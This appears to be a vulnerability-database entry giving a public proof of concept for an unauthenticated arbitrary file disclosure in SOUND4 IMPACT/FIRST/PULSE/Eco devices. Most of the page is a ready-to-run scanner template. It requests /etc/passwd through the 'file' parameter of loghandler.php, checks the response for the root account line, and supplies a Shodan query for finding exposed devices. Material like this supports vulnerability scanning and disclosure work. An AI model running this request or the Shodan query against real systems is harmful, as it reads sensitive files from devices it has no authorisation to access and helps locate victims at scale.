sound4-file-disclosure: SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File Disclosure

2025-08-01 sound4 PoC Public

Description

The application suffers from an unauthenticated file disclosure vulnerability. Using the 'file' GET parameter attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.

PoC

id: sound4-file-disclosure

info:
  name: SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File Disclosure
  author: arafatansari
  severity: medium
  description: |
    The application suffers from an unauthenticated file disclosure vulnerability. Using the 'file' GET parameter attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.
  reference:
    - https://packetstormsecurity.com/files/170263/SOUND4-IMPACT-FIRST-PULSE-Eco-2.x-Unauthenticated-File-Disclosure.html
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5736.php
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"SOUND4"
  tags: packetstorm,lfi,sound4,unauth,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220199bd58e40a096a70c1d98d1bfd6b16ba14a163bbe821b7eaf42063f7447af4d022100f5c6e533ee44d3f8e5923803091dceccd2c5275ec191272fe9cdeffe51fa18a8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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